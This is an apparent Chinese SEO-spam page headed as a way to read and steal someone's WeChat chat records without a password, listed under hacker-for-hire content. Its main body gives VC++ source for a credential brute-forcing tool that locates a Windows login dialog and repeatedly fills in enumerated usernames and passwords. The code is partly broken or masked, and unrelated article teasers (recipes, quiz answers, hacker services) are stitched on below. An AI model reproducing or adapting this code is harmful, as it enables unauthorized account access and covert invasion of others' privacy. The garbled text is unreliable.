不需要密码怎么查看对方微信聊天记录 怎么盗取

访客4年前关于黑客接单511

Windows *** 用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到 *** 登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位 *** 登录窗口上的各个控件。   利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个 *** 登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成 *** 用户名及密码的枚举猜解。   一、猜解过程流程:   为说明问题,下面只写出主要的过程。对于关键过程给出用VC++实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符 *** 已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符 *** 。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC++技术内幕》。   下面给出关键流程的源代码   1. 全局变量:   struct _Thread   {   CWinThread *pThread;   };   _Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数   CEvent gEventNextPass;//取下一个密码,为实现同步引进   CEvent gEventPassOk;//已取得密码,为实现同步引进   CEvent gEventNextUser;//取下一个用户名,为实现同步引进   CEvent gEventUserOk;// 已取得用户名,为实现同步引进   CMutex gMutex;//互斥量,只允许单线程访问   char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。   char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名   2. 线程启动:   {   file://密码枚举线程   if(PassTread[0].pThread==NULL)   {   PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,   THREAD_PRIORITY_LOWEST);   PassTread[0].pThread->m_bAutoDelete=TRUE;   file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多   }   file://用户名枚举线程   if(UserTread[0].pThread==NULL)   {   UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,   THREAD_PRIORITY_LOWEST);   PassTread[0].pThread->m_bAutoDelete=TRUE;   }   file://窗口枚举线程   for(int i=0;i   {   if(WindowThread[i].pThread==NULL){   WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,   THREAD_PRIORITY_LOWEST);   WindowThread[i].pThread->m_bAutoDelete=TRUE;   }   }3.窗口及子窗口枚举   UINT ThreadProc(LPVOID *pPraram)   {   while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}   return 0;   }   BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)   {   char lpWinTitle[MAX_LINELENGTH];   ::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);   if(strcmp(lpWinTitle,sTitle)==0)// sTitle: *** 登录窗口的窗口名   { gMutex.Lock(INFINITE);//防止两个线程同时操作   while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));   gMutex.Unlock();   return FALSE;   }   return TRUE;   }   BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)   {   char sChildName[MAX_LINELENGTH];   ::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);   file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的   file://各个子窗口   // 的属性。通过对比各控件的风格或名字来区别各控件。   if(strcmp(sChildName,"Edit")==0)   {   DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);   if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件   {   gEventNextPass.SetEvent();//发送“新密码”事件   WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件   gEventPassOk.ResetEvent(); file://复位   ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);   file://把新密码填到密码输入框,也可用SetWindowText()   bPass=TRUE;//记录密码已填入   if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。   {   ::SendMessage(::GetParent(hOk),WM_COMMAND,   (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));   file://向“确定”按钮送消息,参照ClassWizard的消息映射   bUser=FALSE;bPass=FALSE;hOk=NULL;   file://完成一次登录,初始化   return FALSE;   }   return TRUE;   }   file://非此即彼,这是用户名输入编辑控件   if((dWinSty&ES_READON *** )!=ES_READON *** )   {   ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);   file://把新用户名填到用户名输入框,也可用SetWindowText()   bUser=TRUE;// 新用户名已填入用户名输入框   if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。   {   ::SendMessage(::GetParent(hOk),WM_COMMAND,   (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));   file://向“确定”按钮送消息,参照ClassWizard的消息映射   bUser=FALSE;bPass=FALSE;hOk=NULL;   file://完成一次登录,初始化   return FALSE;   }   }   return TRUE;   }   file://如果是按钮控件   if(strcmp(sChildName,"Button")==0)   {   char sChildTitle[MAX_LINELENGTH];   ::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);   if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;   // sButtonOk:登录窗口中“OK”按钮的标题   hOk=hwnd;//记录“OK”窗口句柄   if(bUser&&bPass)   {   ::SendMessage(::GetParent(hOk),WM_COMMAND,   (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));   file://向“确定”按钮送消息,参照ClassWizard的消息映射   bUser=FALSE;bPass=FALSE;hOk=NULL;   file://完成一次登录,初始化   return FALSE;   }   return TRUE;   }   return TRUE;   } 4.用户名枚举:  

相关文章

偷偷摸摸看微信记录不被发现 还可以查看别人微信聊天记录

最近,一些微信用户报道称,一些骗子假装是“老朋友”,以获取验证码并窃取微信账户。记者的实验发现,微信为绑定到手机的用户提供了一种“手机验证码”的登录方法。说谎者可以获取他的微信账户的所有信息,并通过使...

谁帮阿里巴巴抵御黑客攻击(谁把阿里巴巴攻破了)

谁帮阿里巴巴抵御黑客攻击(谁把阿里巴巴攻破了)

本文目录一览: 1、他21岁面试时弄垮阿里内网,他的成就在于天赋和努力,更在于坚持 2、当年,中国最小黑客汪正扬,为不写作业黑掉校园网,如今怎样了? 3、当年那个三分钟就让阿里巴巴网络中断的少...

花甲粉加什么菜好吃吗(花甲粉里可以加那些配

花甲粉加什么菜好吃吗(花甲粉里可以加那些配

花甲粉自己在家做,想吃啥就加啥,可比外面吃的实惠多了,鲜美无比,比店里的更好吃! By 茹絮 用料 花甲 500克粉丝 40克金针菇 200克蒜 15克姜 15克小米椒 1个葱 适量料酒 1...

以下哪种水果的含糖量其实更高?蚂蚁庄园7月27日答案

以下哪种水果的含糖量其实更高?蚂蚁庄园7月27日答案

今天的蚂蚁庄园每日一题的问题有一定难度,7月27日的问题是以下哪种水果的含糖量其实更高?这道题的答案是什么呢?答案给出的选项是山楂、西瓜。小编我特意整理了相关的资讯,下面就是蚕豆网小编为大家带来的蚂蚁...

黑客吧有哪些(黑客攻击有哪些步骤)-简单黑客教学一学就会

黑客吧有哪些(黑客攻击有哪些步骤)-简单黑客教学一学就会

黑客吧有哪些(黑客攻击有哪些步骤)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑客业务...

夏普手机怎么样?这才是用户的真实评价

夏普手机怎么样?这才是用户的真实评价

对于老的手机用户来说,日系手机曾经相当风光,不过现在已经几乎不见踪影。经过几年征战,虽然掌控一些核心配件,日系手机品牌在海外市场却全面溃败,在中国市场也是如此。不过不久之前夏普又回来了,凭借富士康的赋...